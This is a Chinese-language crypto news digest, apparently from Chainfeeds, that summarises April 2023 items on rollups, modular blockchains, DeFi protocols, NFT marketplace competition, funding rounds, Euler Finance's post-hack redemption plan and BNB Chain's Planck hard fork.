    ZK-RaaS 提供商 Opside 完成 400 万美元种子轮融资，Web3.com Ventures 领投 ZK-RaaS（ZK-rollup-as-a-service）提供商 Opside 宣布完成 400 万美元种子轮融资，Web3.com Ventures 领投。种子轮资金将用于加速 Opside 的发展，扩大其团队及运营规模。 Opside 开发的通用 ZK-rollups 软件开发工具包，使开发人员能够在 Opside Layer3 部署他们的应用程序，而无需维护任何基础设施。Opside 负责 Layer2 的共识和数据可用性，确保所有交易和生成的数据都经过哈希处理并存储在 Layer2 Opside 链上。 内容来源  ( 47 min )
    模块化执行层的通用之路
    Chainfeeds 导读： Bing Ventures 投资经理 Kyle Liu 简要介绍什么是模块化公链以及当前模块化公链执行层领域的基本格局，对 Fuel 在安全性、可扩展性、互操作性等方面的表现及其所面临的竞争进行解读，并总结出模块化执行层的通用之路。 文章来源： https://mirror.xyz/0x867A3f354c0eCB6622aEf1bF14C3BE79338AD889/dNpP3YFqbdN_xXFEsre1pvOmSVzSdk85iB1Qyqe9GoM 文章作者： Kyle Liu 观点： Bing Ventures：现今的 Rollups 的主要价值在于扩展以太坊，并在可能的情况下扩展其功能。Rollups 通过以下两种方式扩展以太坊：1）将状态（和执行）转移到链下，即从 L1 到 L2 移动它；2）并行计算，即多个 Rollups 可以同时在以太坊上运行。目前，Rollup 领域没有太多关注状态优化。相反，大多数关注点集中在减少 L1 数据上，因为当前数据是 Rollup 的最昂贵成本项目。 内容来源 Bing Ventures：但我们没有考虑到的是，成本将在模块化时代发生巨大变化。随着基础层开始大量提供数据（归功于数据可用性采样技术），Rollups 很快将享受到数量级更便宜的数据。同时，由于对状态增长的关注较少，状态大小将迅速成为模块化世界中的主要瓶颈。任何区块链，无论是 Rollup 还是 L1，对于增加状态的操作都会对网络产生永久性成本。这些操作不仅消耗当前节点的资源，也消耗未来所有节点的资源。 内容来源 Bing Ventures：Fuel 的安全性由以太坊主网提供，不需要自己的验证器或共识机制，也不会受到攻击或分叉的风险。 但也意味着需要依赖以太坊的安全性和稳定性；Fuel 的可扩展性由其高效的交易格式和低延迟的确认时间实现，可以每秒处理数千笔交易，并在几秒内完成交易确认。 但也意味着需要与其他 rollup 链竞争资源和用户；Fuel 的互操作性由其跨链转移功能和多代币支持功能实现，可以与以太坊、Arbitrum、Optimism、Polygon 等网络兼容互通。 但也意味着需要与其他跨链解决方案竞争效率和安全性。 内容来源  ( 4 min )
    【英文长推】Messari：详解超级链：以太坊为中心的 Rollup 生态系统的兴起
    Chainfeeds 导读： 随着以太坊的不断扩展，越来越多的叙事正在围绕着具有共享基础设施的可组合 Rollup 生态系统展开。Messari 研究员 Stephy Dunbar 撰写有关超级链（Superchain）的文章，深入探讨 Optimism 的超级链及其功能集，以及 L2 Rollup 生态系统的竞争分析等，本长推为该篇文章的摘录。 文章来源： https://twitter.com/MessariCrypto/status/1643259730750758913 文章作者： Stephy Dunbar 观点： Stephy Dunbar：虽然 Optimism 主网和 Arbitrum One 等通用 Rollup 为以太坊主网提供了更便宜、性能更高的选项，但它们并不是扩展的万能药，这导致了围绕可组合 Rollup 生态系统扩展中心的想法。【原文为英文】 内容来源 Stephy Dunbar：大多数计划实施自己的生态系统的项目都试图通过限制性营业执照、L2 结算锁定以及强制执行代币质押和交易费用等方式提取价值，然而 Optimism 采取了不同的方式。凭借其低准入门槛和丰富的公共产品资助计划，Optimism 的「超级链」为生态系统参与者提供了一个空间，在这个空间里，新的应用程序、用户以及最终的费用都不断地为以太坊的公共产品增值。【原文为英文】 内容来源 Stephy Dunbar：简而言之，超级链是使用 OP Stack 构建的以太坊对齐链的集合，具有链工厂、集体治理、共享排序和原子跨链可组合性以及跨链消息传递协议。超级链的初始版本预计将在 2023 年某个时候推出，Coinbase 打算推出第二个 OP 链 Base。随着生态系统的发展，有计划去中心化，同时允许未来在最初要求的安全默认值之外进行修改。【原文为英文】 内容来源  ( 2 min )
    面向未来，Solana DeFi 将如何发展
    Chainfeeds 导读： 相比 EVM DeFi 来说，Solana 生态更年轻、更小，但也在蓬勃发展。加密货币研究员 Sitesh Kumar Sahoo，Yash Agarwal，Anna Yuan 撰写报告概述了 Solana 上的 DeFi 生态，重点介绍主要参与者和未来走势。总结来看，Solana DeFi 专注于走向移动化和资产 token 化。本文由 BlockBeats 编译。 文章来源： https://www.theblockbeats.info/news/36228 文章作者： Sitesh Kumar Sahoo，Yash Agarwal，Anna Yuan 观点： Sitesh Kumar Sahoo，Yash Agarwal，Anna Yuan：与其他网络相比，Solana 具有较高的「DeFi Velocity」，2022 年 1 月，Solana 的「DeFi Velocity」为 0.25，至少是其他网络的两倍，表明 Solana 的 DeFi 生态比其竞争对手更活跃（尽管规模较小）。即使排除了 「1 月 3 日至 8 日间」Bonk token 效应所产生的异常状况，Solana 依然获得了当月的最高 DEX 交易额（交易额超过 1.5 亿美元，约占链上总锁仓量的三分之二），那时其「DeFi Velocity」为 0.21。 内容来源 Sitesh Kumar Sahoo，Yash Agarwal，Anna Yuan：总的来说，我们将看到 Solana DeFi 专注于：1）走向移动化：Solana 的旗舰手机 SAGA，该手机将采用 Solana 移动堆栈、 Solana 支付和 xNFT 等一系列移动友好标准，将推动索拉纳 DeFi 移动化转向，从而导致超级应用程序和用户体验聚合器的兴起。2）资产 token 化：信贷市场已经开始在 Solana 上进行 token 化，我们将看到更多的信贷，如个人贷款、贸易融资、基于收入的融资、碳信用等被 token 化。然而，鉴于索拉纳的高表现，将外汇、股票等高频交易资产 token 化将是一个值得关注的方向。 内容来源
    【英文】模块化区块链 Astria 介绍：如何为 Rollup 提供去中心化排序器及更好的用户体验？
    Chainfeeds 导读： Astria 的共享排序器提供了开箱即用的抗审查能力、快速区块确认及跨 Rollup 组合能力的同时还保留了每个 Rollup 的主权。Astria 联合创始人 Jordan Oroshiba 及 Joshua Bowen 共同撰文解析了 Astria 共享排序器的运作机制及优势。 文章来源： https://blog.astria.org/introducing-astria/ 文章作者： Jordan Oroshiba 及 Joshua Bowen 观点： Jordan Oroshiba（Astria 联合创始人）：Astria 的共享排序器是一个中间件，具有自己的去中心化序列器集，接受来自多个 Rollup 的交易。Rollup 可以在创建块后从 Astria 中进行检索而无需等待基础层将其纳入。Astria 的去中心化排序器的经济权重能够让人们相信交易顺序最终性，此外 Rollup 也可以等待区块被基础层纳入，快速预先确认只是 Astria 提供给 Rollup 的额外功能。【原文为英文】 内容来源 Jordan Oroshiba（Astria 联合创始人）：共享排序器的优势：1）将去中心化作为一种服务：由于 Astria 将排序和执行分离开，网络区块生成节点无需存储任何依赖 Rollup 的状态，且网络对使用的不同 Rollup 数量是不确定的，因此 Astria 能够将去中心化作为一种服务提供给 Rollup；2）跨 Rollup 可组合型：Astria 能够保证事务只作为原子 bundle 的一部分被包含；3）尊重 Rollup 主权：交易数据存储在基础层，而 Rollup 全节点持有状态并执行，意味着 Astria 无法威胁到 Rollup 主权。【原文为英文】 内容来源 Jordan Oroshiba（Astria 联合创始人）：Astria 还在开发 Astria EVM，该 EVM 由共享排序器网络提供支持，并计划作为模块化区块链 Celestia 数据可用性层的以太坊虚拟机（EVM）。在 Astria 的设想中，未来将会发展出有成千上万个去中心化的主权 Rollup，每个 Rollup 都是为满足不同行业、应用和案例的独特要求定制的。【原文为英文】 内容来源  ( 6 min )
    【英文长推】Opensea 什么时候进行代币空投？
    Chainfeeds 导读： Opensea 宣布 Gem V2 现在将以 Opensea Pro 的名字运行，并推出 NFT 奖励计划正式与 Blur 展开竞争。Opensea 取消了市场费和版税，但仅凭低费用和一些功能是不足以与 Blur 竞争的。那么 Opensea 会因此推出代币吗？加密货币 KOL wale.swoosh 认为短时间内不会进行代币空投。 文章来源： https://twitter.com/waleswoosh/status/1643560885770674178 文章作者： wale.swoosh 观点： wale.swoosh：Opensea 似乎计划使用 NFT 作为奖励而非代币。可以通过两种方式实现这一点：1）他们自己的 NFT。昨天，Opensea 发布了「Gemesis」系列。Opensea 未来可能会进行类似的空投。交易得越多，获得的 Opensea NFT 就越稀有。但问题是，它不会像 Blur 一样为市场带来流动性，而是将流动性带走。只有当别人购买你的 NFT 时才能真正赚钱。特别是对于稀有 NFT 来说这可能并不容易。【原文为英文】 内容来源 wale.swoosh：2）蓝筹 NFT。Opensea 可以将蓝筹 NFT（Bored Apes、Cryptopunks 等）作为奖励发放给顶级交易者。中等市值的 NFT 收藏品面向大众。然而，这将需要巨额的财务投资。更不用说对整个市场的影响了：如果 Opensea 批量购买 NFT 作为奖励给那些只想要钱而不是 NFT 的人，这可能会完全摧毁 NFT 市场。【原文为英文】 内容来源 wale.swoosh：因此，两种选择都有缺陷。它们也没有解决 Opensea 作为一个交易平台所面临的关键问题。「什么时候进行代币空投？」这个问题的答案似乎更可能是：短时间内不会有任何行动。相反，Opensea 可能会推出一项 NFT 奖励计划，该计划将吸走或完全摧毁市场流动性。【原文为英文】 内容来源  ( 2 min )
    MakerDAO 协议工程核心部门将于 2023 年 4 月停止运营
    MakerDAO 协议工程核心部门将于 2023 年 4 月停止运营 MakerDAO 协议工程核心部门（Protocol Engineering Core Unit，PECU）开发者 Derek 在 MakerDAO 治理论坛发文称，随着「Endgame」和「 Constitution MIPs」的成功通过，协议工程核心部分将在 2023 年 4 月底停止运作，转而由较小的独立团队执行范围框架。PECU 将与社区成员合作确保成果过渡至新框架。Derek 表示，所有 PECU 成员的 MKR 将在 2023 年 4 月底前停止解锁，临近下一个解锁日期的将会立即解锁，剩余未解锁部分将会被没收。任何未使用的团队多签资金将用于支付未完成的审计费用、软件许可、法律费用和未结清的合约协议。 内容来源 观点： ChainFeeds：Derek、Brian L. McMichael、Christopher Mooney、csmith 及 naszam 五名 PECU 开发者在治理论坛表示将在 2023 年 4 月 30 日停止对 MakerDAO 的贡献。【原文为英文】 内容来源  ( 4 min )
    【英文】a16z：如何通过零知识证明验证链上机器学习算法？
    Chainfeeds 导读： 除了扩展计算受限的网络及保护用户隐私，零知识证明对于有效验证任何类型的计算是否正确运行也非常有用。而对区块链计算的高需求使得现在有可能在链上验证某些小型机器学习算法。a16z 研究员 Elena Burger 撰文对机器学习中应用零知识证明的方式及可能面临的挑战进行了分析。 文章来源： https://a16zcrypto.com/content/article/checks-and-balances-machine-learning-and-zero-knowledge-proofs/ 文章作者： Elena Burger 观点： Elena Burger：机器学习中应用零知识证明的五种方式：1）模型真实性：确保某些实体声称已经运行的机器学习模型确实是运行的模型。例如存在一个较便宜但不太准确的模型及一个较昂贵但性能较高的模型，如果没有证明，就无法知道在你支付了更贵的费用后是否获得是相对应的模型。目前实现方法包括基于 SNARK 的零知识承诺方案及建立在 Risc Zero 上的应用；【原文为英文】 内容来源 Elena Burger：2）模型完整性：保证在同一机器学习算法以相同的方式在不同用户数据上运行，适用于不希望存在偏见的领域，例如信用评分决策和贷款申请；3）证明：将来自外部验证方的证明整合至一个模型或其他类型智能合约上运行；4）去中心化推理或训练：以去中心化的方式进行机器学习推理或训练，并允许人们向公共模型提交数据；5）个人身份证明：在不损害隐私的情况下证明个人身份，例如生物识别扫描或以加密方式提交身份证，随后使用零知识证明检查是否被验证。【原文为英文】 内容来源 Elena Burger：在实现 SNARKs 证明系统方面的突破是将很多机器学习模型放在链上的关键驱动力。一些团队正在现有架构中制作定制电路，包括 Plonk、Plonky2、Air 等，且目前 Halo 2 已经成为一个流动的后端，而 Risc Zero 正在致力于一个通用虚拟机策略，此外还有一些开发者正在使用基于 sum-check 协议的超高效证明系统来创建自定义框架。【原文为英文】 内容来源 Elena Burger：目前该领域正处于起步阶段，在将模型转换为电路的过程中，准确性可能会受到影响。此外，由于目前零知识证明无法在没有大量开销的情况下以必要算数电路格式表示 32 位浮点运算，开发者可以选择使用量化的机器学习模型。目前该领域已经有一些发展，例如证明递归可以通过允许证明被用作下一个证明的输入以减少整体证明的大小，还有一些新兴框架，例如 Linear A 对 Apache 的 TVM 分叉。【原文为英文】 内容来源  ( 32 min )
    【英文】全景式解读 LayerZero 生态全链货币市场 TapiocaDAO：核心技术、代币经济学、运作机制......
    Chainfeeds 导读： 目前 DeFi 领域主要问题是缺乏互操作性及流动性碎片化导致资本效率及收益率的降低。TapiocaDAO 通过部署小型代理合约支持多链，消除了流动性孤岛并最大限度提高了资本效率。加密研究员 nocta 撰文对 TapiocaDAO 的核心技术、代币、运作机制及空投等进行了分析解读。 文章来源： https://twitter.com/0xnocta/status/1643167738930810880 文章作者： nocta 观点： nocta：1）核心技术：Yieldbox 是 Tapioca 生态系统中央金库， Singularity 提供超 20 条链上的借贷，Big Bang 实现其全链稳定币 USDO 扩展，Flash Mint 通过无抵押贷款提供无限流动性，通过 twAML 促进可持续增长及经济调整，流动性资产包装器 Tapioca Omnichain Fungible Tokens 支持全链资产，能够跨多个区块链进行组合，Tapioca 全链基础设施利用 LayerZero 进行安全隔离及 Chainlink 进行喂价。【原文为英文】 内容来源 nocta：2）Tapioca 代币：包括具有强大保值功能的核心代币 TAP、协议收入托管代币 twTAP、全链 NFT 和 TAP 美式看涨期权 oTAP 及去中心化超额抵押稳定币 USD0；3）主要功能：包括利用全链稳定币 USD0 释放流动性、在获取资金同时保留资产风险及多条链上赚取实际收益；4）使用美式看涨期权的可持续代币空投机制：该机制能够解决传统空投机制缺少保留、截止主张有限、女巫攻击等问题，将分四个阶段进行分配，包括 LBP 贡献者、Tapioca 公会成员、Pearl Club NFT 持有者及 twTAP 锁定用户。【原文为英文】 内容来源  ( 2 min )
    【长推】Blur 会取代成为 OpenSea 成为新的 Godfather 吗？
    Chainfeeds 导读： OpenSea 对 Blur 的反击正式开始：Gemesis NFT 的发布、Gem 正式更名为 OpenSea Pro。「聚合交易」 的壁垒已经被打破。加密货币 KOL WaTell 这种做法并不会为 NFT 市场带来流动性，反而会抽干场内为数不多的购买资金，对市场是不利的，下一步的玩法变得很重要。 文章来源： https://twitter.com/0xwatell/status/1643625128301850624 文章作者： WaTell 观点： WaTell：根据 Dune 的图表，我们能够清晰地发现一个有趣的事实：不管是交易次数、还是交易者数量，依旧是 OpenSea 处于领先地位。不仅如此，即使是 Blur 最火爆的那段时间，OpenSea 每周的 NFT 交易数量也是稳压 Blur 一头。 内容来源 WaTell：Blur 最大的亮点 ——「Bid 刷分机制」还能使其维持多久市场热度这一点我们无法预测，但似乎 OpenSea 已经进行了完整的 「军备扩张」：更优化的 Gas、更方便控制的报价、以及 「监视列表、Live Mint 概览」，每把刀都很锋利。 内容来源  ( 2 min )
    【英文长推】Bixin Ventures：与 LayerZero 分享可互操作 omnichain 世界的愿景
    Chainfeeds 导读： LayerZero 是一种通用的数据消息传递原语协议，可实现应用程序之间的跨链通信，目标是以安全和简单的方式跨链移动信息。Bixin Ventures 对 LayerZero 进行了深入讨论，并阐述决定投资 LayerZero 最新一轮融资的原因。 文章来源： https://twitter.com/bixinventures/status/1643493572489138177 文章作者： Bixin Ventures 观点： Bixin Ventures：特点：1）LayerZero 率先推出了 Omni Fungible Tokens（OFT）—— 一种可在 LayerZero 所集成的区块链上组合的新型代币。例如 JOE 是作为 OFT 推出的，可以跨多个链互操作地桥接。2）Omni NFT，NFT 不再独立与自己对原生生态中，NFT 可以在 Polygon、BNB Smart Chain 和 Arbitrum 间转移。3）货币市场，Radiant Capital 允许用户在 Arbitrum 和 BNB 上存储任何资产，并通过 LayerZero 支持的区块链借入任何资产。【原文为英文】 内容来源 Bixin Ventures：LayerZero 已经通过取得 Stargate 和其他顶级协议和项目（如 SushiSwap、Pudgypen Guins Rage Trade、PontemNetwork 、RDNTCapital）的吸引力，证明了产品市场契合度和高效实施。【原文为英文】 内容来源  ( 2 min )
    【英文】Optimism 联合创始人：如何通过正在构建的新型 RPC 端点提高 Bundlers 效率及灵活性？
    Chainfeeds 导读： 账户抽象能够彻底改变用户与以太坊生态的互动方式。Optimism 联合创始人 Mark Tyneway 撰文探讨了账户抽象的复杂性及 ERC-4337，并对正在构建的新型 RPC 端点的优势进行了阐述。 文章来源： https://dev.optimism.io/erc-4337-and-account-abstraction/ 文章作者： Mark Tyneway 观点： Mark Tyneway：本质上讲，账户抽象允许用户定一个代表账户执行行动的授权政策，该政策在智能合约钱包中实现。账户抽象可以分为有状态或无状态实现，有状态的账户抽象支持更具表达性的授权策略，但随着区块链状态随时间的变化，授权策略可以返回不同的值。而无状态的账户抽象验证成本虽然较低，但其表达性较差。ERC-4337 则是一个协议外元交易标准，是实现账户抽象的一种形式，允许用户通过智能合约钱包发送 UserOps 进行互动，这些 UserOps 可以被捆绑至交易中。【原文为英文】 内容来源 Mark Tyneway：有状态账户抽象的一个挑战是，在某一个区块有效的 UserOp 可能会在另一个区块无效，为了解决该问题，我们提出了一个新的 RPC 端点，该端点允许用户指定其交易纳入的条件，例如账户价值、存储槽、区块编号或时间戳。区块构建者的盈利能力和声誉是确保用户偏好得到遵守的唯一因素。但该端点也给区块构建者增加了资源消耗，因此必须定义一个资源消耗上限以防止拒绝服务攻击。如果能够在上面构建一个信誉系统，则上限可能会更大。【原文为英文】 内容来源  ( 4 min )
    【英文】盘点四大潜力流动性质押衍生品：EigenLayer、Obol、Alluvial Finance 及 Ion Protocol
    Chainfeeds 导读： 截至 2023 年 4 月初，ETH 流动性质押数额达 730 万枚。一个围绕流动性质押衍生品发展的全新领域正在实现快讯增长。加密研究员 Bridget Harris 撰文对四大潜力流动性质押衍生品的机制及进展进行了盘点分析。 文章来源： https://bridgeharris.substack.com/p/exploring-developments-around-liquid 文章作者： Bridget 观点： Bridget：1）EigenLayer 近期备受关注，它采用重质押机制以实现跨项目共享安全性。借助这项技术，EVM 之外的新项目无需启动自己的验证集合，就可以获得安全性保障。去中心化应用程序、Rollups 和中间件都可以利用该机制实现更好的灵活性和可扩展性。此外，EigenLayer 已经开发了一个市场模型，其中 AVS 可以租用以太坊验证者提供的 Rollup 安全性；【原文为英文】 内容来源 Bridget：2）Obol：Obol 使用分布式验证器密钥提高验证器的安全性和去中心化程度，并进一步增强分散系统的韧性和可扩展性。且利用分布式验证技术（DVT），Obol 还构建了一个作为共识层上方运行的网络，并提供对分布式验证器的访问；【原文为英文】 内容来源 Bridget：3）Alluvial Finance：旨在将机构参与者引入质押生态系统以更好地保障 PoS 区块链和改善质押代币流动性。该解决方案提供了企业级基础设施，以规模化地优先考虑合规性和安全性；4）Ion Protocol：正在为流动性质押代币（LST）开发一套流动性产品套件和代币标准，简化不同 LST 的不同价值累积方法流程并引入一个同意代币标准提高 LST 生态系统效率和流动性。【原文为英文】 内容来源  ( 14 min )
    【英文长推】观点：Bitcoin Stamps 解决一个问题产生四个新的问题
    Chainfeeds 导读： Bitcoin Stamps 是通过交易输出以一种新颖方式嵌入 base64 格式的图像数据的方法。加密货币 KOL xiyu 详细介绍了 Bitcoin Stamps，并指出产生的问题。 文章来源： https://twitter.com/ohxiyu/status/1643730841233752064 文章作者： xiyu 观点： xiyu：Bitcoin Stamps 可以永久储存在链上且无法被特定的脚本过滤节点，实现这一目标的方法是将图像的二进制内容编码为 base64 字符串，将此字符串作为后缀添加到交易描述键中的 STAMP:，然后使用 Counterparty 协议将其广播到比特币分类帐上。 内容来源 xiyu：问题：1）手续费过高。将数据分块输出，意味着手续费更高。2）中心化处理。为了加快处理速度并消除索引需求，使用 Counterparty API 来解码原始比特币交易。解码完成后，将图像上传到 stampchain.io，通过 Web 应用程序进行消费。3）铸造限制多，收费不合理。只能通过官方提供的网页铸造，类似于现有的 ordinals 代打服务，铸造文件不能超过 7000 字节。4）规则不自由，并且规则可变，不确定性高。 内容来源  ( 2 min )
    【英文】解读中间件概念及发展机遇：模块化领域潜力叙事？
    Chainfeeds 导读： 由于 L1 在技术和用户体验方面做出了牺牲以满足去中心化或扩展，因此目前构建和使用加密货币仍然具有门槛，模块化架构随之开始发展以解决该问题。Lattice 顾问 Karthik Senthil 撰文表示模块化最令人兴奋的发展领域不是 Rollup，而是垂直整合的中间件。 文章来源： https://lattice.mirror.xyz/30fvMb2MxoH2pRQ_5pXsGmudR62-RvrNKEzHluxYGrU 文章作者： Karthik Senthil 观点： Karthik Senthil：虽然模块化架构目前仍在起步阶段，但仍有一些令人兴奋的工具：1）数据可用性：Celestia 和 EigenDA 能够提供比以太坊快 10 至 20 倍的吞吐量；2）执行：分为通用 Rollup 或 L2（Optimism、Arbitrum、zkSync、Scroll、Polygon zkEVM、Starknet、Mantle）及自定义应用 Rollup （Optimism Bedrock、Arbitrum Orbit、Fuel、Eclipse、Caldera、Sovereign 等）两类；3）共识和结算：EigenLayer、Celestia 和 Cosmos Hub 为可信的中立基础设施或协议提供能力。【原文为英文】 内容来源 Karthik Senthil：但我相信模块化设计最令人兴奋的领域是垂直整合的中间件。我们将其定义为「1）充分去中心化的网络、产品和服务，利用模块化设计在基础设施或协议层提供核心创新；2）从第一天开始就进行跨硬件、软件等原生设计，为特定用例提供质押及加密独有功能；3）应用开发人员能够在此基础上进行构建」。这种垂直整合的中间件解决方案看起来类似 Base 进化后裔。此外，看起来可能会像一个应用链，具有引导性网络安全，使用稳定币作为其原始资产，无需 Gas，隐私第一，支持托管等。诸如此类的解决方案能够让应用开发人员构建强大的消费者支付体验。【原文为英文】 内容来源 Karthik Senthil：未来机会：1）特定垂直领域中间件：充分去中心化的协议和网络，提供特定垂直领域的核心服务，例如支付；2）特定能力中间件：为开发者抽象出特定基础层能力的组件或产品，例如密钥管理、排序器及互操作性解决方案；3）一键式基础设施：使开发者能够简单构建模块化基础设施的工具；4）开发者工具：帮助构建者监测其技术堆栈运行状况；5）作为服务提供给中间件所有者的区块探索器或搜索引擎的现代解决方案。【原文为英文】 内容来源  ( 14 min )
    全方位解读 GMX V2：交易市场、费用结构及其他改进
    Chainfeeds 导读： GMX 团队近期发布了 V2 有关提案，预示着备受期待的 GMX 合成资产版本终于到了上线前夕，加密研究员 CapitalismLab 撰文全方位解读 GMX V2，表示 GMX V2 让 GMX 的风险更小、交易容量更大、且可以支持更多资产交易。 文章来源： https://capitalismlab.substack.com/p/gmx-v2 文章作者： CapitalismLab 观点： CapitalismLab：1）交易市场：GMX V2 中，每个交易对都有对应的 LP。既保留了全额抵押带来的安全性优势，又使得每个交易对的 LP 只需要承担这个交易对的风险，有利于上线更多资产。此外所谓合成资产，就是也可以交易链上没有的资产。而且 GMX 称会控制 OI 上限少于抵押资产来降低风险； 内容来源 CapitalismLab：2）费用结构：除开基本的交易手续费外，GMX V2 有 Funding Fee，Borrow Fee, Price Impact 三重费用。有助于平衡 LP 和 OI 的多空，避免容量被低效占用以及降低价格操纵风险；3）其他改进：由于有了更科学的 Price Impact 来制衡，在 V2 参数设置提案中大幅降低了现货兑换费率， 非稳定币对基础兑换费率仅为 0.05%，稳定币甚至低至 0.01%。此外在交易体验上，V2 还优化了了限价单和止损单的机制，并支持了现货限价单。 内容来源 CapitalismLab：对比 GNS ：三重费用上，除开 unding Fee 较为一致外，其他两个费用有着较大差异。此外 GNS 采用单一 gDAI 作为 LP，GMX 则依然使用指数资产模式并使用独立流动性。而且 GNS 在资本效率以及上线资产方面仍具有更多灵活性，而 GMX 则在风险控制上更进一步。 内容来源  ( 5 min )
    Euler Finance 公布用户赎回方案，将基于协议禁用时的区块高度确定资产和负债
    Euler Finance 公布用户赎回方案，将基于协议禁用时的区块高度确定资产和负债 DeFi 借贷协议 Euler Finance 公布用户赎回方案，其中追回的资金共计 95,556.36059211764 枚 ETH 和 43,063,729.35 枚 DAI，未回收的资金包括攻击者发送给 Tornado Cash 的可能存在制裁问题的资金，共计 1100 枚 ETH 以及发送到 Ronin 攻击者地址的 100 枚 ETH，另外 100 枚 ETH 被攻击者直接返还给用户，用户又将 12 枚 ETH 返还给 Euler DAO 金库。DAO 金库地址还持有来自 Sherlock 协议的 3,396,964 枚 USDC 和 1,007,321 枚 DAI。 对于每个子账户，Euler Finance 计划在协议被禁用的区块模拟所有负债的偿还，使用智能合约中定义的链上预言机价格（Uniswap 或 Chainlink，取决于市场）确定资产和负债的 ETH 价值，并且账户的每个资产（包括非抵押资产）按比例用于偿还负债。所有账户资产净值将被相加以获得总资产净值，每个账户将能够根据其在总资产净值中的比例领取追回的 ETH、DAI 和 USDC。如果追回金额的价值超过总资产净值，则超出部分将按比例分配给用户。 内容来源  ( 10 min )
    链游项目 RACA 获 DWF Labs 1600 万美元投资
    链游项目 RACA 获 DWF Labs 1600 万美元投资 据 CoinDesk 报道，链游 RACA（Radio Caca）获 DWF Labs 1600 万美元融资，包括购买数量不详的 RACA 代币，所筹资金将帮助 RACA 推进其 Web3 游戏生态系统的目标。RACA（前身为 Radio Caca）成立于 2021 年，最初是在 Elon Musk 的母亲 Maye Musk 那里管理不可替代代币（NFT）的。该公司已经推出了 R3 游戏基础设施、SimCity 风格的沙盒游戏 USM.WORLD、社交派对游戏 Looki Looki Jazzi、跨游戏 DID 钱包 JAZ 和 NFT 市场。 内容来源  ( 26 min )
    比特币白皮书疑似被内置在 Apple 最新版本 Mac 和 MacBook 内
    比特币白皮书疑似被内置在 Apple 最新版本 Mac 和 MacBook 内 据 Blockworks 报道，比特币白皮书被发现内置在 Apple 每台最新版本的 Mac 和 MacBook 上标签为「simpledoc.pdf」文件内。科技博主 Andy Baio 表示，访问该文件的方法是打开终端并输入一个特定的命令。替代方法是「打开 Finder，点击 Macintosh HD，然后打开 System→Library→Image Capture→Devices 文件夹。按住 Control 单击 VirtualScanner.app 和 Show Package Contents，打开里面的 Contents→Resources 文件夹，然后打开 simpledoc.pdf」Andy Baio 表示，该文件已经被多个用户找到。目前 Apple 尚未对此事做出回应。 内容来源 观点： 偶像派作手：使用 ChatGPT 解释了这段命令，转换成自然语言是：打开 Mac 电脑上的扫描软件 VirtualScanner 中的 simpledoc.pdf 文件。也就是比特币白皮书是通过扫描软件扫描添加到每一台 MacBook 系统中的。 内容来源  ( 61 min )
    以太坊 ERC-20 标准发明者 Fabian Vogelstelle 将在几周内推出 Layer1 区块链项目 LUKSO，验证者能够通过 Genesis Validator 存款智能合约加入
    以太坊 ERC-20 标准发明者 Fabian Vogelstelle 将在几周内推出 Layer1 区块链项目 LUKSO，验证者能够通过 Genesis Validator 存款智能合约加入 以太坊 ERC-20 标准发明者 Fabian Vogelstelle 将在几周内推出 Layer1 区块链项目 LUKSO。LUKSO 专为「创意经济」设计，验证者能够通过 Genesis Validator 存款智能合约加入网络。在 LUKSO 上，创世验证器存款智能合约允许用户存入一种 ERC-20 代币 LYXe，主网上线后，LYXe 将被转换为 LUKSO 原生代币 LYX。LUKSO 上每个验证者都需要锁定 32 LYXe 才能参与区块验证过程。 据 CoinDesk 介绍，Vogelsteller 最初为以太坊基金会工作并构建了第一个 Web3 浏览器、以太坊钱包及其他开发者工具。且在以太坊基金会工作期间，与以太坊联合创始人 Vitalik Buterin 一起开创了 ERC-20 标准。还在 2017 年首次提出基于区块链身份的概念 ERC-725。随后 Vogelsteller 于 2018 年离开以太坊基金会并专注于 LUKSO 的推出。 内容来源 观点： Fabian Vogelstelle（LUKSO 联合创始人）：LUKSO 的想法是要构建一个围绕创意者的生态系统。LUKSO 正在围绕 NFT 构建一个完整的工具集、生态系统和市场，使用基础上的通用配置文件，使之更容易识别创意者和他们的配置文件，以及他们在区块链上的作品。【原文为英文】 内容来源  ( 34 min )
    Arbitrum 基金会提交两个新提案及关于基金会初始设置的透明度报告
    Arbitrum 基金会提交两个新提案及关于基金会初始设置的透明度报告 Arbitrum 发布推特表示，随着 ArbitrumDAO 对 AIP-1 达成共识，现在是时候纳入社区反馈并推进新的 AIP 和文件，包括关于基金会初始设置的透明度报告、AIP-1.1 及 AIP-1.2。透明度报告描述了使 DAO 启动和运行而采取的行动，DAO 可以通过未来的 AIP 投票该变该报告的参数和角色。AIP-1.1 建议将基金会剩余的 7 亿 ARB 置于「智能合约控制的锁定」中，将在四年内解锁，在 DAO 批准可接受的预算和智能合约锁定时间表之前，基金会无法使用剩余 7 亿代币。此外，AIP-1.1 还提出了定义明确的预算原则和类别及规定的透明度报告。AIP-1.2 提议修改 DAO 核心管理文件，将提案门槛所需的 ARB 数量从 500 万枚降低至 100 万枚。DAO 的成员将有三天的时间就提案提供反馈，之后这两项提案将进行为期一周的快照投票。 内容来源 观点： Arbitrum：「AIP-1.1：锁定、预算、透明度」：https://forum.arbitrum.foundation/t/proposal-aip-1-1-lockup-budget-transparency/13360 内容来源 Arbitrum：「AIP-1.2：基金会和 DAO 治理」：https://forum.arbitrum.foundation/t/proposal-aip-1-2-foundation-and-dao-governance/13362 内容来源  ( 2 min )
    BNB Chain 预计将于 4 月 12 日进行 Planck 硬分叉升级
    BNB Chain 预计将于 4 月 12 日进行 Planck 硬分叉升级 BNB Chain 计划在区块高度 27,281,024 处进行名为 Planck 的硬分叉升级，预计将于 4 月 12 日进行。此次升级的重点是为网络跨链桥实现 BEP-171 中提出的安全性和更好的稳定性。据悉 Planck 升级设计从有漏洞的 IAVL 证明验证迁移至更安全的被称为 ICS23 规范的跨链安全机制。此外，此次升级还将为跨链资金转移引入定时锁定机制，及在检测到伪造证明或紧急情况下自动暂停跨链通道。为了确保顺利过渡至 Planck 升级，全节点运营商被告知下载和编译最新软件 V1.1.21 版本。 此前于 2022 年底，BNB Chain 遭遇黑客攻击，主要原因是 IAVL 证明验证机制的缺陷。BEP-171 提议旨在加强构成 BNB Chain 网络中信标链和智能链之间的跨链桥。 内容来源  ( 145 min )
    DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投
